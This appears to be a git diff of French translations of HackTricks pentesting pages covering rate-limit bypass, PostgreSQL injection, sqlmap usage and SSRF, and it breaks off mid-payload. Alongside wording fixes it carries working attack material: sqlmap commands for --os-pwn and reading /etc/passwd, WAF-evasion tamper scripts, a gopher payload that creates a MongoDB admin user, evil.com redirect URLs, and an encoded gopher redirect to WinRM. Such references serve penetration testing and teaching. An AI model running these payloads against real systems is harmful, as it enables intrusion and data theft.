`X-Client-IP`, `X-Host`, `X-Forwared-Host`, y compris l'utilisation de plusieurs instances de `X-Forwarded-For`, peuvent être ajustés pour simuler des requêtes provenant de différentes adresses IP. ```bash X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 @@ -46,39 +49,43 @@ X-Forwarded-For: X-Forwarded-For: 127.0.0.1 ``` ### Modification des autres en-têtes -Il est recommandé de modifier d'autres en-têtes de requête tels que l'user-agent et les cookies, car ils peuvent également être utilisés pour identifier et suivre les schémas de requêtes. Le changement de ces en-têtes peut empêcher la reconnaissance et le suivi des activités du demandeur. + +Il est recommandé de modifier d'autres en-têtes de requête tels que l'agent utilisateur et les cookies, car ils peuvent également être utilisés pour identifier et suivre les schémas de requête. Le changement de ces en-têtes peut empêcher la reconnaissance et le suivi des activités du demandeur. ### Exploitation du comportement de la passerelle API + Certaines passerelles API sont configurées pour appliquer une limitation de taux en fonction de la combinaison de l'endpoint et des paramètres. En variant les valeurs des paramètres ou en ajoutant des paramètres non significatifs à la requête, il est possible de contourner la logique de limitation de taux de la passerelle, rendant chaque requête unique. Par exemple `/resetpwd?someparam=1`. ### Connexion à votre compte avant chaque tentative -Se connecter à un compte avant chaque tentative, ou à chaque série de tentatives, peut réinitialiser le compteur de limitation de taux. Cela est particulièrement utile lors de tests de fonctionnalités de connexion. L'utilisation d'une attaque Pitchfork dans des outils comme Burp Suite, pour faire tourner les informations d'identification tous les quelques essais et en s'assurant que les redirections sont suivies, peut redémarrer efficacement les compteurs de limitation de taux. + +Se connecter à un compte avant chaque tentative, ou à chaque série de tentatives, pourrait réinitialiser le compteur de limitation de taux. Cela est particulièrement utile lors de tests de fonctionnalités de connexion. L'utilisation d'une attaque Pitchfork dans des outils comme Burp Suite, pour faire tourner les informations d'identification tous les quelques essais et s'assurer que les redirections sont suivies, peut redémarrer efficacement les compteurs de limitation de taux. ### Utilisation de réseaux de proxy + Le déploiement d'un réseau de proxies pour distribuer les requêtes sur plusieurs adresses IP peut contourner efficacement les limites de taux basées sur les adresses IP. En routant le trafic à travers divers proxies, chaque requête semble provenir d'une source différente, diluant l'efficacité de la limite de taux. -### Diviser l'attaque entre différents comptes ou sessions -Si le système cible applique des limites de taux sur une base par compte ou par session, distribuer l'attaque ou le test entre plusieurs comptes ou sessions peut aider à éviter la détection. Cette approche nécessite la gestion de plusieurs identités ou jetons de session, mais peut distribuer efficacement la charge pour rester dans les limites autorisées. +### Répartition de l'attaque entre différents comptes ou sessions +Si le système cible applique des limites de taux sur une base par compte ou par session, la répartition de l'attaque ou du test entre plusieurs comptes ou sessions peut aider à éviter la détection. Cette approche nécessite la gestion de plusieurs identités ou jetons de session, mais peut distribuer efficacement la charge pour rester dans les limites autorisées.
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui: +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index 84afbedbb..44c0abbaa 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -6,17 +6,17 @@ Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). {% embed url="https://www.stmcyber.com/careers" %} @@ -64,7 +64,7 @@ SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** -Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client): +Cette fonction va exporter l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client): ```sql SELECT database_to_xml(true,true,''); ``` @@ -96,22 +96,22 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/sql-injection/sqlmap/README.md b/pentesting-web/sql-injection/sqlmap/README.md index f1895cac0..06a41eba7 100644 --- a/pentesting-web/sql-injection/sqlmap/README.md +++ b/pentesting-web/sql-injection/sqlmap/README.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -62,7 +62,7 @@ Autres façons de soutenir HackTricks : ``` ## Lieu de l'injection -### À partir de la capture de Burp/ZAP +### À partir de la capture Burp/ZAP Capturez la requête et créez un fichier req.txt ```bash @@ -97,7 +97,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ``` ### Eval -**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un oneliner python. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, **la session cookie de flask** **est signée par flask avec le secret connu avant de l'envoyer**: +**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un code python en une seule ligne. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, **la session cookie de flask** **est signée par flask avec le secret connu avant de l'envoyer**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` @@ -116,7 +116,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ```bash --file-read=/etc/passwd ``` -### Parcourir un site web avec SQLmap et auto-exploiter +### Crawler un site web avec SQLmap et auto-exploiter ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -155,56 +155,56 @@ Rappelez-vous que **vous pouvez créer votre propre altérer en python** et c'es ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | -| apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 en pleine largeur | -| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal | -| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile | -| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée | -| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' | -| bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère blanc aléatoire valide. Remplace ensuite le caractère = par l'opérateur LIKE | +| apostrophemask.py | Remplace le caractère apostrophe par son homologue en largeur complète UTF-8 | +| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue illégal en double unicode | +| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile | +| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée | +| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' | +| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE | | chardoubleencode.py | Double encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | -| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | -| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | -| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | +| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | +| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | +| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | | charunicodeencode.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "%u0022" | | charunicodeescape.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "\u0022" | -| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | -| escapequotes.py | Échappe aux guillemets (' et ") | -| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' | -| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé | -| ifnull2ifisnull.py | Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' | -| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné | -| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à zéro version | -| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL | -| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres | +| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | +| escapequotes.py | Échappe les guillemets (' et ") | +| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' | +| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé | +| ifnull2ifisnull.py | Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' | +| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné | +| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire sans version | +| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL | +| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres | | percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère | -| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | -| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire | -| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL | +| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | +| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire | +| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL | | securesphere.py | Ajoute une chaîne spécialement conçue | -| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du DBMS | -| space2comment.py | Remplace le caractère espace (' ') par des commentaires | +| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du SGBD | +| space2comment.py | Remplace le caractère espace (' ') par des commentaires | | space2dash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | -| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | -| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | -| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | -| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') | -| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | -| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') | +| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') | +| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') | | space2plus.py | Remplace le caractère espace (' ') par un plus ('+') | -| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | | symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et | | unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT | -| unmagicquotes.py | Remplace le caractère de guillemet (') par un combo multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) | -| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' | +| unmagicquotes.py | Remplace le caractère de guillemet (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) | +| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' | | varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' | -| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | -| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné | -| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' | +| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | +| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné | +| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' | -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de creuser plus profondément, de lancer des shells et de s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -212,9 +212,9 @@ Rappelez-vous que **vous pouvez créer votre propre altérer en python** et c'es Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index 4cf4d4806..fc394a7be 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -1,10 +1,10 @@ # SSRF (Server Side Request Forgery) -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -50,7 +50,7 @@ Généralement, vous constaterez que le SSRF ne fonctionne que dans des **domain ### Contournement via redirection ouverte -Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Comme la page web autorisera le **SSRF vers le même domaine** et suivra probablement les redirections, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\ +Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web autorisera le **SSRF vers le même domaine** et suivra probablement les **redirections**, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protocoles @@ -64,7 +64,7 @@ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswi * **TFTP://** * Le protocole Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` * **LDAP://** -* Ce segment couvre le protocole Lightweight Directory Access Protocol, mettant l'accent sur son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` +* Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` * **SMTP** * Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris des étapes pour révéler les noms de domaine internes et des actions d'investigation supplémentaires basées sur ces informations. ``` @@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} -#### Gopher MongoDB -- Créez un utilisateur avec le nom d'utilisateur=admin, avec le mot de passe=admin123 et avec les permissions=d'administrateur +#### Gopher MongoDB -- Créez un utilisateur avec le nom d'utilisateur=admin avec le mot de passe=admin123 et avec les permissions=d'administrateur ```bash # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 @@ -130,9 +130,9 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 ``` ## SSRF via en-tête Referrer & Autres -Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter des URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "**Collaborator Everywhere**" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles. +Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter les URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "**Collaborator Everywhere**" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles. -## SSRF via données SNI provenant du certificat +## SSRF via les données SNI du certificat Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend via une configuration simple est illustrée avec un exemple de configuration Nginx : ``` @@ -169,7 +169,7 @@ Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exp [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} -## SSRF Rediriger vers Gopher +## SSRF Redirection vers Gopher Pour certaines exploitations, vous pourriez avoir besoin de **envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection: ```python @@ -182,7 +182,7 @@ def do_GET(self): print("GET") self.send_response(301) ```html -self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%6d%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f